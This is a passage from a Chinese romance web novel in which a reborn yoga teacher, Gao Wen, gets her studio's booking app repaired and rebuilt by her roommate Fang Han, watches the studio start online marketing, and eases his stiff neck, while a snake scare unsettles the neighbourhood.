“还没有，”高雯正按照网友所说的方法在试，她接着道，“我还要一会才能回去，有什么事吗？” “我也在外面，等你一起回去，”方寒刚说完，没等高雯拒绝，他就道，“小区里发现了一条大黑蛇，咬伤了人，消防来了没抓到，群里发消息说要注意，最好不要一个人出行。” 高雯一直生活在城市里，蛇只在电视和课本里见过，一听说住的地方出现黑蛇，瞬间想到了毒蛇，浑身瞬间起了鸡皮疙瘩，握着键盘的手都抖了抖。 高雯有些害怕：“真的是大黑色吗？抓不到要怎么办？” 还咬伤了人。 天啊。 方寒说：“嗯，所以要注意一点，现在小区里的道路灯也熄了一半，我在外面等你一起回去吧。” 高雯这时候才如实道：“馆里的约课系统坏了，我等维修师傅，暂时还回不去。” 电脑方面的问题，她 的确可以找方寒，或许他能帮上忙。 但，高雯不想老是麻烦他，还是在大半夜。 方寒明天也要上班。 “我也在商场附近，刚刚出来买点东西，你慢慢来，我等你。”方寒说。 “要不你过来馆里等？”高雯觉得让他在外面待着等她，也太不近人情了。 “好。” 高雯也把馆里的地址给方寒发过去。 他的确很快就到了。 “坐吧，师傅还要一会才能来。”高雯给方寒倒了茶，顺便问了问伤者的情况。 “送去医院打上血清了，但不清楚是什么蛇，拍摄的照片模糊，只说是黑色，也不知道具体情况。”方寒如是说，他打开手机，要给高雯看照片，“就是这个蛇，只能看出很大一条。” “别，别给我看。”高雯脸上骤变，感觉一阵冷意爬上脊背，连忙抬手遮住自己的眼，一直摇头往后退。 方寒见她被吓到了，赶忙按黑手机收起来，出声解释道：“我估计它已经躲起来，消防队来都没找到，今晚不会出来了。” 高雯担忧：“这要是再伤人怎么办？” “应该不会了吧。” 方寒说的没有信服力，蛇没抓到，谁又能保证呢？ 高雯忧心忡忡，方寒看着她的神色，有些懊悔是不是和她说太多，吓到她了，开口转移话题：“电脑是哪里出现问题了？” “后台出了点问题，我联系师傅了，他应该很快到了。”高雯没打算麻烦方寒，她看了看时间，应该差不多了，就给师傅发了消息。 消息发出去后，看到红色感叹号，高雯直接傻眼。 高雯：【？？？】 红色感叹号再一次出现，显示她不是对方好友。 她等了这么久，还以为对方在来的路上，结果自己被删了？就是没答应先发这么两百块？又遇到骗子了吧？！ “怎么了？”方寒见她神色不对。 “师傅那边出现了点小状况。”高雯说这话的时候，表情都维持不住。 对方不来怎么不说？ 大半夜了，她还等着。 “我先看看吧。”方寒说完笑道，“其他方面我可能不了解，电脑程序这一块，我略懂一点。” 高雯怎么不知道呢？ 他或许懂一点，但大半夜不想麻烦他，所以才想花点钱找人解决。 事到如今，夜里一点快到了，方寒就在这里，除了尝试让他帮帮忙，还有什么办法？ “麻烦你了。”高雯说。 方寒嘴角含笑往电脑走过去：“顺手的事情，而且我不一定修得好。” “唉——修不好就算了。”高雯继续在网上找人，“我看看能不能再找个维修员，馆长当初不知道去哪买的小程序，崩了好几次，维修的人都找不到了。” 高雯说着，徐眉打来电话，她走到一边接：“现在太晚了，暂时找不到人，我还在找，小桃那边怎么样了？” “今晚还要观察，暂时还算稳定吧。”徐眉无奈。 高雯：“人没事就好。” “都一点了，你明天还要上课，实在不行就算了，明天再说。”徐眉说的时候还吐槽这个小程序，“我过段时间把它换了，隔三差五崩，这样下去怎么行？你先回去睡吧，不要折腾了，大半夜估计也没人愿意来。” “嗯。”高雯挂完电话，刚要开口说先回去，方寒就道：“网络没问题，应该是服务器和软件本身出了问题，我再排查一下。” 高雯将要出口的话咽下去，改口道：“能修好吗？” 方寒又看向高雯说：“可以，我需要后台给我开通一些权限。” “我给馆长打电话，稍等。” 接下来，高雯的周围都是方寒指尖敲击键盘的声音。 他忙了一会道：“有个程序‘卡住’了，所以引发的一系列反应，关掉和修复下就好了，不过需要一点时间。” “嗯嗯，麻烦了。”高雯没有打扰他，静静地坐在一边等。 她实在太困，眼睛会不自觉眯上。 方寒修复系统后，一抬头，就看到闭上眼的高雯，她很安静待着，用双手抵在桌面上，撑着下巴，时不时会强行睁开眼，但因为太困，又会合上。 方寒看着她呆呆萌萌的样子，唇角的笑意不断加深。 他并未开口说话，手指继续在键盘上继续敲打，放轻了声音和动作。 半晌后，高雯再一次强撑开眼睛，轻轻摇了摇头保持清醒，站起来问道：“怎么样了？” “好了。”方寒停下动作，“它以后会定时清理和优化数据库，应该不会出现今天这样的问题。” 高雯走过去查看后台，已经能顺利打开，什么功能都没问题。 而且，这么晚了，居然还有会员在约课。 “万幸。”高雯第一时间给徐眉发了消息，说修复好了。 徐眉也没睡，给高雯打了电话。 高雯关了电脑，和徐眉说着话，走到一边关灯，她扭头无声对方寒道：“很晚了，回去啦。” 方寒明天还要上班，得赶紧回去了。 “嗯。”方寒跟在高雯身后，两人往外走。 高雯又问了小桃的情况，两人多聊了几句，过马路时，方寒伸手在高雯面前拦了下，生怕她没看路。 “我看着路的。”高雯挂掉电话后说。 方寒温柔笑了笑。 高雯看着没什么人影的路上，余光看了看身旁的方寒，他和她保持着不远不近的距离，放慢脚步跟随着她的步伐。 他真的是个细心包容的人啊。 高雯垂眸，看着自己的脚尖，神色有些黯淡。她这样的人，生存都成为问题，她没有办法也没底气从容活在这个世界上，所以从来不考虑什么情爱。 按照所谓的剧情，高雯会对林珩爱得死去活来，飞蛾扑火。 一想到这，高雯就觉得挺离谱的。 高雯胡思乱想间，两人回到了小区门口。 她的心情一下从沉闷变得格外紧张，脑子里都是各种各样的大毒蛇，还吐着信子。 高雯在小区大门前停住脚步，都有些不太敢进去。 方寒也停下来，没催她。 “没事的吧？”高雯自认为是个惜命的人，所以这个真能吓到她。 “没事，蛇是很聪明的动物，它也怕人，这条路这么宽大，它一定不会出现。”方寒说着，从她身后走到她前面，说话安慰她。 高雯壮着胆子，跟在他身后。 小区的绿化很好，两边都是树和丛林，高雯之前有多喜欢这个小区的环境，现在就有多恐惧。 到处都可能藏着蛇啊。 越往里走，道路越小，绿植越多，高雯都不敢离方寒太远，落后两步，她都要赶紧追上去，和他离得很近。听着虫鸣声，她的呼吸越来越慢，耳朵都竖起来了，听着两边的动静。 倏然，从旁边的草丛里跑出一个黑影，动作特别快，高雯察觉到了，而且还朝她脚边袭来，她被吓得面色煞白，当场就汗毛竖起，如同惊弓之鸟直接要往前跑，一下撞到方寒后背上。 方寒的手本能往后，要扶住她，半道又硬生生克制住。 “蛇，蛇——”高雯语气颤颤，身子甚至都开始发抖。 “不是蛇，是老鼠。”方寒连忙强调，“是一只老鼠跑过去了，不是蛇，不用担心，没事的。” 高雯吓得后背都发凉了，不断左顾右盼。 她跟着方寒往回走的时候，整个人都有些愣愣怔怔，久久没回神。 回到家，她的脸色还是有些苍白，柳眉紧锁着，坐在沙发上缓了好一会，那张白皙娇嫩的脸上带着后怕，看着有些委屈，令人心疼。 方寒心里直叹气，早知道他走得慢一点，也不至于让那只老鼠吓到她。 他要去热牛奶，高雯站起身道：“我自己倒温水喝就好。” “好，”方寒把牛奶放了回去。 高雯倒了杯温水，将水杯紧握在手里，余惊还未消散，她眼神飘闪不定，往房间走，都忘记和方寒说晚安了。 方寒担忧看着高雯，在她关门前不忘提醒：“今晚可能要下雨，记得把窗户关了。” 高雯点了点头：“好。” 她回到房间，换了睡衣就上床，可能是上一世的后遗症，她现在从不关灯睡。 开着亮灯，刺激眼睛，并不好睡，但高雯不敢关灯，她害怕。 怕什么，她也不知道。 方寒刚刚说的话，高雯没听进去，她躲进了被窝，就开始强行让自己入睡。 睡梦里，难受的感觉再次出现，高雯感觉到自己意识清醒，身子却像被千斤重的大石头压着，无力迷茫，身上充满了疲惫。 她的心跳很快，脑子里嗡嗡作响，呼吸急促，好像被人掐住了喉咙，不断往深渊拉。 下雨了。 风很大，寒气顺着往屋内吹，还带着细碎的水滴。 高雯脑海里都是前一世的场景，一帧帧回放着，暗示她下场的凄惨。 好似，这就是她的宿命。 “不——不是的——” 高雯苦苦挣扎，等她睁开眼，泪水已经浸湿了枕头，声音都带着哭腔。 外面狂风肆虐，高雯虚脱无力躺在床上，她没有去关窗，而是艰难翻了个身，把头埋进枕头里，小声呜咽着，任由泪水流下来。 上一次哭是什么时候，高雯都不记得了，她觉得眼泪是最没用的东西，而且，会被人发现。 可能真的是被蛇吓到。 哭一哭就没事了。 * 接下来的几天，高雯忙得团团转，很快就把这件事抛之脑后了。 前台小桃在住院，馆里缺人，高雯上着课，还要兼顾前台的一些工作，连伤感的时间都没有。 高雯每一天早出晚归，加上不刻意联系，她和方寒隔了一个星期没碰面。 不只是方寒，她和出租屋里的其余人，也都没见面。 一下班，大家就各回各屋，关上门，见面的机会其实不多，这也是当初高雯为什么会搬进来的原因。 如果她再特意避开方寒，估计一个月都见不到一次。 高雯还在屋内也买了烧水壶，接水都不用出去了。 这晚，高雯洗澡看了会书，正准备睡觉，手机传来消息，方寒发的。 她看着方寒的消息，拿着手机就起身走出房门。 他就在客厅，面前还放着电脑，见她出来，轻轻一笑，指了指前面的水果：“吃点吗？今天的芒果很甜。” “我刷牙了。”高雯看着他温润的面色，轻声问，“你怎么突然做了这个？” 方寒往她邮箱里发了一份文件，又给她的消息，说是做了一个约课小程序，让她可以拿去试试。 “你们那个程序不好用，不合理的地方太多，我最近不是很忙，就随手做了一个，”方寒说完笑道，“你拿去试试，能用就用，不能用也没事。” 高雯看着方寒眼下淡淡的一层青色，不知道说些什么好。 她前几天听到许菲在门外问方寒是不是在加班，怎么还在客厅。 高雯也以为他在加班，现在看来，估计不是在加班，也是在做这个。 “其实不用的。”高雯小声说。 “不用也没关系啊，对我来说没什么成本，”方寒脸色未变，说话还是很温和，“你不用为此烦恼，很小的一件事情。” 做都做了，还是方寒熬夜做的，高雯可不能丢在一边，她扯了扯嘴角道：“我明天拿去馆里试试，看看怎么样。” “嗯，有任何问题都可以告诉我，我这边处理。”方寒笑意慢慢加深，将一个U盘给她，“我拷贝到U盘里了，给你备用，里面有一份有简单说明。” “那我回去睡了，晚安。” “晚安。” 高雯转身回房时，内心不断在叹息。 次日。 徐眉刚来馆里，高雯就把U盘给她。 店里这个破程序，徐眉早就受够了，她二话没说就接受了，并且还道，“我早就想换掉了。” “这是刚开发的初始版本，后续需要改的问题，他再和你沟通，”高雯说着道，“他说让您先看看怎么样。” 方寒自愿免费熬夜干活，高雯却不能让他免费干活。 那天晚上，方寒可以说是免费帮忙，开口问徐眉要那点钱，他估计也瞧不上，不会要。 但开发这种程序不一样，费用不低。 “这个好，这个比之前那个高端流畅，功能齐全多了，”徐眉自然很满意，她看向高雯直言道，“我的确想再定制一个程序，不过我们馆能出的费用是有限的，我的心理价位是五万，他能接受吗？” 估计是之前那个小程序买得太便宜，所以出了这么多问题，徐眉这一次想下点血本，因为会员越来越多，管理麻烦，功能得齐全，他们是走高端的，得像模像样。 徐眉去别的地方咨询过，要想定制一个她满意的小程序，公司给她开出的价位比五万高一点，不太符合预期，但她也没想太压价，毕竟上一次人家免费也帮她们解决了问题。 “我得问问他。”高雯说着就走到一边给方寒打电话。 方寒没想要钱，高雯说的时候，他就道：“不用——” “每一分付出，都有它的价值，都应该被认可，也应该得到回报。”高雯打断他的话，认真说。 方寒止了声，随后温声道：“那就按你说的吧。” “一会下班你有空吗？” “有。” “你来我们馆旁边的咖啡厅，到时候和馆长详谈行吗？” “嗯，好。” 方寒很听话，高雯说什么就什么。 高雯挂了电话，就和徐眉说了。 徐眉看向她：“到时候你就跟我一起去，你有什么想法，想要怎么做，有什么需要改进的，你也跟他提，我们这一次就把问题都解决了。” 高雯没想到她还要陪同，也只能应下：“好。” “他是你朋友，有你在，也好沟通，”徐眉说着，从一旁的袋子里把一张招聘启事拿出来，又对高雯道，“来，和我一起贴个招聘启事。” 高雯上前。 徐眉两人刚把招聘启事贴好，张妮和林思悦就有说有笑走进来，她们两人现在都快处成好姐妹了。 她们都不上班，每天有很多时间，下完课就一起去逛街，去各种餐厅打卡，开心快乐。 张妮看了看门口的招聘启事：“馆里要招网络运营员？” “对啊，”徐眉点头，“我年纪大了，不懂现在的网络，但我也知道，现在做什么都需要网络营销，需要流量。我想找个专业的人，给我们馆做做网络宣传，提升一下知名度和名声。” 她说完笑着对张妮道：“你们要是认识这样的人，记得给我介绍。” “我啊。”张妮快速接话。 “你？”徐眉稍楞，就连正在喝水的高雯也望过去。 张妮：“对啊，我以前就是做网络营销的，我懂推广、会剪辑，而且还会写文案。生了孩子之后，我还想起个母婴账号，就是没搞起来，但这里面的弯弯绕绕，我很熟悉。” “真的假的？”徐眉喜出望外。 “千真万确！我还有五个账号呢，我给你看，”张妮掏出手机，打开社交账号，“其中一个都一万粉了，还有不少人找我打广告，但给我的钱太少了，还要我胡说八道，三五百块钱还不够我的精神损失费，我可不想害人。” “还真是啊。”徐眉诧异。 高雯也走过来看，张妮发的全是她女儿，还有模有样。 “我可以吧？”张妮笑着把手机收起来。 “可以是可以，但我可开不出太高薪。”徐眉知道她家境不错，特意强调。 “我看上面写着的，我很满意啊，”张妮说着补充，“不是说有提成吗？我把账号当创业，万一创业成功了呢？” 她说着看向高雯，“到时候肯定拍雯雯多一点嘛，我有信心的。我都安排好了，直播，卖团课，之后可以卖线上课，在橱窗卖衣服，前途亮得都睡不着！” 张妮说着，带着蠢蠢欲动的激动，恨不得立刻就开干。 高雯指了指她自己：“我？” “你是馆里的颜值担当，肯定拍你啊。”张妮肯定说，看向徐眉道，“对吧，馆长。” 徐眉非常认可点了点头。 张妮果然懂她，此人可用。 “我明天就可以来上班。”张妮给自己也安排好了。 “可以。”徐眉当场应下。 一旁的林思悦一听要拍高雯，生怕自己错过机会，举手插话：“张妮姐可以，我也可以啊。” “你？”众人齐齐又看向林思悦—— 作者有话说：早早早！ 20、第20章 第20章 第20章 我帮你松解一下筋骨。 林思悦骄傲提起小身板：“我的粉丝比张妮姐的还多。” 徐眉眼底一亮：“真的？” “当然！”林思悦把自己的号开起来。 张妮凑过去一看, 当下笑得不行：“你这玩擦边啊。” 玩擦边起号快是公认的事实。 只要开十级美颜，大妈都能变少女，压根都没啥技术含量, 吸引来的都是色粉, 最不值钱。 “什么擦边？我是叫换装，换装！”林思悦气急败坏, 捏着拳头跺着脚不断强调，“不是擦边，就一点点。” “你要让雯雯老师去拍擦边啊？”张妮说着看向高雯, 从上到下审视她一遍。 还别说，这身材, 这脸蛋，要是去擦边的话—— 林思悦明显也想到一块去了, 望向高雯的眼神, 那叫一个赤.裸裸。 “我卖艺不卖身。”高雯打消了她们的念头。 “不是, 我没说擦边！”林思悦立刻否认，积极宣传自己, “我平时也在网上帮人营销的, 我懂推广！起号！” 林思悦所谓的营销，就是收了别人一杯奶茶的钱, 然后到处跑评论区, 无脑各种吹捧打广告。 可以说，张妮不屑于赚的钱，她全赚了, 脑子一扔就是夸。 她偶尔还追星，各种给偶像刷榜单，还帮喜欢男主播打PK, 啥都干，业务很杂。 徐眉深思了下：“这也，算一种本事吧？” “是吧是吧？”林思悦还想做大做强来着，这不是擦不起边吗？不然谁愿意挣那点窝囊费呢？经常挨骂的！ 徐眉：“张妮当营销部部长，思悦给她当助理吧？” 就这样，瑜伽馆有了一个网络营销部门，一共就两个人，张妮管着林思悦，这两人主要负责网上推广宣传，拍摄和剪辑。 傍晚。 商场旁的咖啡屋。 徐眉和高雯来的时候，方寒已经到了，他见两人过来，起身朝她们招手，笑着温声开口：“这边。” 徐眉闻声看过去，见方寒的第一眼，头朝高雯那头侧了侧，压低声音道：“你的朋友，长得也这么帅的？好看的人都和好看的人一起玩？” 高雯笑了：“您又夸我，方寒脸皮薄，你要是这么夸他，他就该脸红了。” 方寒见高雯笑着走过来，内心止不住悸动，忍不住朝她频频望去。 到了桌子旁，高雯让徐眉和方寒坐得更近些，方便沟通。 方寒打开了电脑，还带了一些资料，俨然是做了一些准备的。 他进入工作的时候，态度认真严谨，耐心细致。 方寒对于徐眉提出的要求一一记下，说话温润清缓，并未露出一点不情愿，哪怕是不能完成的，他也会细细解释原因。 高雯并未插话，在一旁安静倾听。 她的双手撑着下巴，有些小走神，头无意往窗外一瞥，见林珩和一个女子并肩走来。 高雯瞳孔猛地微张，震惊无比。 能和林珩走这么近的，肯定是女主姜舒妍。 高雯记得没错的话，按照时间线，两人应该在培养感情当中，原本要订婚了，因为她的出现，导致男女主出现了隔阂，最后经历重重阻碍，感情变得更加深厚。 高雯就是为了避免这件事，早早离开公司，离两人远远的，他们两个人应该恩恩爱爱，早点订婚结婚，和她毫无关系才对。 可，这两人还是出现在了她的视野里。 高雯难免想到了自己前一世的结局，一股凉气从脚底开始往上蔓延，她桌子底下的脚下意识狠狠往前一踢。 方寒说话的声音中断，他看向高雯时，她意识到了自己的失态，收回视线低着头，端起咖啡小口喝。 “雯雯老师，你之前说的那几点，也跟方工提一下。”徐眉看向高雯说。 “好。”高雯心不在焉回。 “我去一下洗手间。” 徐眉说着起身，就剩方寒和高雯两个人。 “吃蛋糕吗？我听说这里的慕斯蛋糕很出名。”方寒并未和高雯谈工作的事情，而是把桌子上的台牌转向她方向，推荐道。 高雯看了眼上面美味的蛋糕，强迫自己移开眼，“今天不是我的放纵日！” 美女的体重是需要时刻控制的，嘴馋是大忌！ “好吧。”方寒说完歉意道，“是我考虑不周到了。” 高雯看着他一本正经地道歉，突然笑了，“学长，这又不是你的错，是我的问题好吗？”她说完提醒方寒，“我让你带了合同，你带了吗？” “嗯。”方寒点头。 高雯：“一会谈成之后，你就让眉姐给你付点定金，一切按照行规走，之后再按完成度收费，合同里都写吧？” 她怕方寒因为她的关系，只干活不收钱。 一个定制小程序的研发周期，不是十天半个月就能解决的，需要付出大量精力，必须得等价有报酬。 五万都是友情价了。 “我偶尔会接一点兼职和私单，你说的这些，我心里有数。”方寒对她道，“放心吧。” “那就好。”高雯拿过他们刚刚谈的一些细节，将自己的建议也和方寒提。 方寒微微往高雯靠近，听得仔细认真，时不时点头认可，拿笔做记录。 林珩路过咖啡厅，透过玻璃窗看到了里面的两人。 这一次，他看清了和高雯在一起的那个男人，长得清秀，看着老实巴交的，和他是截然相反的类型。 两人谈笑甚欢，处得不错。 高雯喜欢的是这一款？ “阿珩，你看什么呢？”姜舒妍出声问。 “没什么。”林珩收回视线，大步往前走。 姜舒妍穿着细高跟，艰难跟着，笑着开口道：“阿姨和小悦已经在包间等我们了，我说我们马上就到了。” “嗯。” 商场楼上新开了一家网红东南亚特色菜餐厅，姜舒妍提前几天就订位置了。 她和林珩两人处于恋人未满的状态，单独约他肯定不行，若是说想让林家两老和林思悦尝尝新风味，林珩就不会拒绝。 姜舒妍和林珩进入包间时，林思悦正和林父林母不知道在聊些什么，把两人哄得笑眯了眼。 “叔叔，阿姨，小悦。”姜舒妍脸上带着恰到好处的笑意，一一热情打招呼。 “小妍来了，快坐快坐。”林母说。 “舒妍姐。”林思悦依旧礼貌。 姜舒妍坐下来后，看向林思悦道，“你最近变漂亮了，我看你朋友圈，美得我都忍不住多看几遍。” 林思悦最近一天发一条朋友圈，全都是高难度的瑜伽动作，看着体态优美，姜舒妍经常是第一时间点赞，还会反反复复看很多遍。 可以说，林思悦最近是在蜕变。 她之前含胸驼背，现在完全没了这些问题，整个人都有点气质了。 “都是摆拍。”林思悦说。 姜舒妍：“摆拍也得摆得出来啊，还不是能做到吗？” 林思悦有些激动：“舒妍姐，你太懂我了，你知道我为了拍出这些照片，上课吃了多少苦吗？那老师可严格了，还特别偏爱我，就逮着我练！” “人家不严格，你的体态能调得那么好啊？”林母说着伸手摸了摸林思悦的后背，夸道，“瞧瞧小悦的后背现在多挺直啊，真好看。” “我知道，我知道，她是为我好！” 林思悦说这话的时候，林珩和姜舒妍都往她看过去，任谁都能听出林思悦语气里对那个老师的喜欢。 姜舒妍眼底闪烁，自从林思悦去了瑜伽馆，两人接触就少得可怜，林思悦可是她和林珩之间重要润滑剂。 不能失去。 “小悦，”姜舒妍站起来倒茶的时候，笑着道，“我们好久没一起逛街，明天一起逛街吧？马上换季，你还没买秋装吧？” 她必须重新建立林思悦对她的依赖，决不能被其他女人夺走。 林思悦：“明天我没空，我要上班。” “上班？”姜舒妍倒茶的动作顿住。 “嗯！”林思悦看向林珩，挺起胸膛骄傲，正式宣布，“哥，我找到工作了！从明天开始，就要去瑜伽馆上班，给网络营销部长当助理！” “你们网络营销部只有两个人吧？”林珩淡淡问。 林思悦：“” * 甭管其他人看不看好，张妮和林思悦两个人是干劲十足，甚至还自带装备，开始在各大平台开号，琢磨着怎么起号。 她们开始拍摄瑜伽馆环境，抓拍上课瞬间，到处宣传，可流量寥寥无几。 仅有的几个点赞，其中两个还是她们自己。 张妮和林思悦不是没把目光放在高雯身上，工作日的时候，高雯实在是太忙。她的课都是满的，完全配合不了她们拍视频。 终于让她们等到了周末，周五的晚上，高雯就被拦着不让走了。 “我能做什么？”高雯不解。 “你就随便做几个动作，我们录一下，放上去宣传，”张妮说完强调，“你是我们瑜伽馆的门面担当，可不得出镜一下。” “对啊，拍了这几天，没有一点流量，我们都要失业了。”林思悦也可怜兮兮看着高雯，“拜托拜托，大家都很吃颜值的！” 高雯想了想：“那就做一段内观流吧。” 内观流属于现代瑜伽的新型派系，把体式和音乐融合，动作配合音乐连贯，适合拍成视频。 “好好好，小悦，快快准备。”张妮连忙说。 “得嘞！” 为了拍摄角度好看，她们来到大教室，高雯将瑜伽垫放在背景灯的前面，她把大灯关了，背后是一个月亮造型的圆形灯，氛围感十足。 高雯看向张妮和林思悦，两个人做了“OK”的动作。 柔和平缓的音乐在教室里回荡，高雯抬手，一个丝滑舒展的后弯，再用呼吸带动身体缓缓起身来到战士三式，身体往前倾，腿抬高，轻松一字马，林思悦和张妮看得沉默了， 两个人恨不得屏住呼吸，直勾勾盯着高雯，生怕打断她的动作。 不到两分钟的动作，高雯做完之后，没有声音，她看向两人：“可以吗？” “太可以了！”林思悦往高雯走过来，兴奋道，“这是什么课？我也要上！” 以前都是拍照片，上了这个课，就能拍视频了！ 多好看啊，比舞蹈还好看！她要拍视频发网上，这样就不用靠“擦边”了呜呜—— “内观流，你想上的话，下节课可以排，带你上一节。”高雯说。 “好啊好啊，太爱你了！”林思悦超高兴。 这份工作实在适合她，能够上瑜伽课，还能上班。 馆里的大课随便上，只要是高雯的大课，她就会跑去上课了，报小课还有优惠，赚钱又省钱！ “我也要上！”张妮举手。 “明天排。”高雯收起自己的垫子拿上包包，“我就先回去了。” 张妮：“拜拜，我们两个人研究一下配乐和剪辑。” “好，明天见。” 高雯走回去的路上，给自己下了订单。 她到楼下，提示外卖小哥快到了，就差六百多米。 高雯干脆在楼下等，省得对方还要上去一趟。 她看着道路两边的绿植，其实还有点发怵，得不断安慰自己。 第二天，那条黑蛇已经被抓住了，是条眼镜蛇，藏到楼梯底下，据说抓去放生了，可要放得远一点。 外卖小哥刚要往楼道走，高雯就拦住对方，报了手机尾号，道了谢，提着东西上楼。 刚出电梯，高雯就闻到饭菜香，她看着手里提着的减脂餐，在门口调节好久的情绪，这才开门。 听到开门声，方寒从厨房出来，桌上是他已经做好的四菜一汤。 “今天周五，一起吃个饭吧？”方寒脸上皆是温和笑意。 周五应该是她的放纵日。 可以多吃点。 这一天，也是方寒最期待的日子，可以做一些她喜欢吃的饭菜。 在他看来，高雯克制了一个星期，得多吃点好吃的，不然多委屈。 “我不能吃，今天中午吃了一小口蛋糕，晚上只能吃减脂餐。”高雯十分歉意说，她看了眼桌上的饭菜，一脸遗憾。 方寒并未强求，掩盖起眸光里的失望，嘴角扯了扯道，“那我做多了，不过没关系，我明天加班，正好能带去。” “嗯嗯，我先回房了。”高雯没有多停留，回房的步伐加快，匆匆就关上门。 高雯坐在座位上，打开减脂餐，面无表情吃着。 边吃边看她做的会员记录分析，脑海里想着怎么改进下一节课的内容。 方寒做的饭太香，高雯吃两口干巴巴的减脂餐，形如嚼蜡，内心有些烦躁反胃，她放下勺子，手撑 着额头，一脸无奈。 她非常清楚，自己和方寒接触越多，就越对他不好。 可是饭菜真的很香。 这人是专门来折磨她的吧？ 高雯最后连减脂餐都没吃完，补充完笔记后，她洗了澡，正打算睡觉，结果因为没吃什么东西，饿得厉害。 她怕饿得胃疼，起床点了个粗粮无糖面包，打算吃半个就睡。 外卖员很快到了，高雯接了电话就开门往外走。 方寒还在客厅，他这段时间都在客厅加班，看着电脑噼里啪啦在敲键盘，动作迅速，让人佩服。 “我拿个外卖。” 高雯说了声，往门口走，等她拿着外卖回来时，闻到了方寒身上淡淡的药油味，看到他在伸手不自然揉着脖子。 头一转动，脖子还咔咔了两声。 “你脖子不舒服？”高雯停下脚步问。 “还好，可能是这段时间加班多了，加上没睡好，有些僵硬。”方寒解释。 方寒一般不加班，高雯不用猜就知道是瑜伽馆的那个程序，说起来，还是因为她。 “要不要去看看？”高雯说。 方寒摇头：“过几天就好了，没事的。” “脖子不舒服，你还要加班，就算擦了油，症状也会加重，很影响你今晚入睡，睡眠质量也不好。”高雯把面包放在一边，看向他问，“你的药油呢？” “在房间。”方寒回。 “拿出来给我。” “好。” 她说完，方寒就走进房间，把药油拿出来了，他还以为她要用，“这个很好用，我也只有这一瓶，你可以先拿去用，我再托人从国外带两瓶，到时候给你。” “我身体好得很，天天运动，哪哪都没毛病，压根用不上，”高雯示意他坐下来。 方寒看向她，心跳就猛地加速，慢半拍直愣愣坐下来。 “你给我们的那个小程序暂时能用，不着急赶着做出来。”高雯说完道，“把你的右手抬起来。” 方寒如实照做。 “握拳。”高雯又说。 方寒把手握住拳头。 高雯抬手，握住了他的手。 方寒的心弦直接越过紧绷阶段，在他脑海里“啪”的一声，断了。 时间凝固，他的大脑也卡机了。 高雯有了动作，她的手指摁住他小指的下侧一点，用力往里推：“转动脖子看看，有没有好点？” 方寒机械般左右转动了脖子，刚刚的僵硬感好像真的消散不少，他惊奇又诧异。 “另一只手，握拳。”高雯说。 方寒刚握拳，高雯又握住他的手，继续刚刚的动作：“是不是觉得很神奇？一下就缓解不少？” “嗯。”方寒用力点头，清冽的黑眸里带着认真求问，“什么原理？” “手的外侧和深层的脖子肌肉相连，”高雯动了动摁住方寒手外侧的地方，“在中医上，管这里叫后溪穴。” “原来如此。”方寒将她说的每一句都刻在脑子里，两人握在一起的肌肤，那么滚烫炙热，宛如一股股电流，席卷着他全身。 “我给你松解一下筋骨，今晚就不要熬夜加班，明天可以去推拿放松，尽量不要长时间伏案工作，避免脖子生理曲直或者反弓。”高雯松开方寒的手，来到他的身后，“程序员这个工作，腰椎间盘突出的可不少，严重还要动手术。” 高雯的手说着碰上方寒的后颈。 霎那间，他就像一只被人拿住命脉的兔子，浑身僵直，一动不动，五官被放大数倍。 高雯清凉的指尖，顺着方寒的脖颈，一节节往下，动作非常缓慢。 她的手碰到方寒的肩部时，他呼吸紊乱，脸唰一下就爆红，忍不住坐直身体，连带着头都抬起来。 “低头。”高雯双手抬起，食指的指尖碰上方寒的太阳穴，微微一用力，轻柔却带着力量，迫使他往下看。 方寒喉咙发紧，双手都不知道往哪放了，心砰砰跳，极力压抑着内心的悸动，思绪都开始变得混沌。 “肌肉紧张而已，没什么大问题。”高雯打开药油，倒在自己手上，轻柔抹在方寒的脖颈后，一寸寸划过他的肌肤，所到之处，掀起一阵阵涟漪。 方寒分不清是急速飙升的体温热的，还是药油的刺激，火热火热的，整个人都要烧起来了。 下一秒，高雯的手肘抵着方寒的后背，他就像被点了穴。 “放松一点，呼吸——”高雯嗓音轻柔，徐徐诱导。 方寒感觉自己都被夺舍了，他不记得自己是怎么配合高雯做完那一组组深呼吸的拉伸动作。 脖子是舒服了很多，但疯狂跳动的心，怎么都停不下来，都快从嗓子里跳出来了！ “结束，把你的药油收好。”高雯将那小瓶药油还给方寒，她拿上自己的小面包，准备回房啃。 “吃点饭吧？吃一点没事的，我没放多少油，都是减脂餐。”方寒叫住高雯，语气有些低哑，“冰箱里剩了好多饭菜，我买了虾，今天吃不完就得扔了，很浪费。” 高雯的肚子不争气咕噜噜作响。 很不合时宜。 她羞得满脸通红。 方寒仿佛没听到，直径走到厨房：“你刚刚出了不少力气，肯定消耗很多能量，我热一热，你吃点饭菜补一下。” “那那好吧。” 高雯坐下来后，方寒以最快的速度热好菜，给她盛了小半碗米饭，拿了碗筷端到她面前。 “谢谢。”高雯是真饿了，一口吃掉一只她喜欢吃的虾。 还是那么好吃。 超好吃。 方寒刚刚没吃几口饭菜，他给自己盛了一碗饭，看着高雯吃那么开心，他也胃口大开。 原本没动几筷子的饭菜，又变成了光盘行动。 那个干巴巴的粗粮无糖面包，高雯注定不会吃一口。 * 清晨。 张妮和林思悦来到瑜伽馆后，两人用商量好的文案，将昨天拍摄高雯剪辑好的视频，传到了网上。 两人还想等着看有没有流量，高雯就推开门，朝两人道：“来上课了，你们想上的内观流。” “来啦！” “快快快。” 林思悦一想到昨天高雯做的体式那么流畅柔美，她都恨不得赶紧学习，这要是发视频，得多少点赞啊？多苦她都要学！要拍！ 上课之前，两人都没想到，刚刚上传的视频正在网络爆火，评论和点赞正在快速攀升。 她们更没想到，内观流，分分钟能要她们的老命—— 作者有话说：早安！明天见噢。 20-30 第21章 第21章 听说吃甜的东西能让人心情变…… 教室内。 上课三分钟后。 “我不行, 我不行了——”林思悦败下阵，手撑着地面，豆大的汗水往下滴落, 急促喘着气。 张妮见她停下, 自己也不再逞能，她擦了擦脸上的汗水, 看向高雯求饶：“这个内观流怎么这么难啊？我们不行，换节课吧？” 林思悦疯狂点头：“不上了不上了，拍视频再好看都不上了。” 她们一点都跟不上高雯的动作。 没有辅助, 一直要练。 每个动作还没结束，下一个动作连贯。 要命了, 要老命了。 高雯看了看时间，站起来走向教具柜：“三分钟, 你们休息了五次。” “才上课三分钟啊？”林思悦欲哭无泪, “真是太累了！” 她昨天录视频的时候看高雯做那些动作, 那么简单轻松又丝滑优美，轮到她像打仗一样兵荒马乱。 “你们想换什么课？”高雯问。 “肩颈理疗！” “对！” 肩颈理疗是最轻松的一节, 好多体式躺着做。 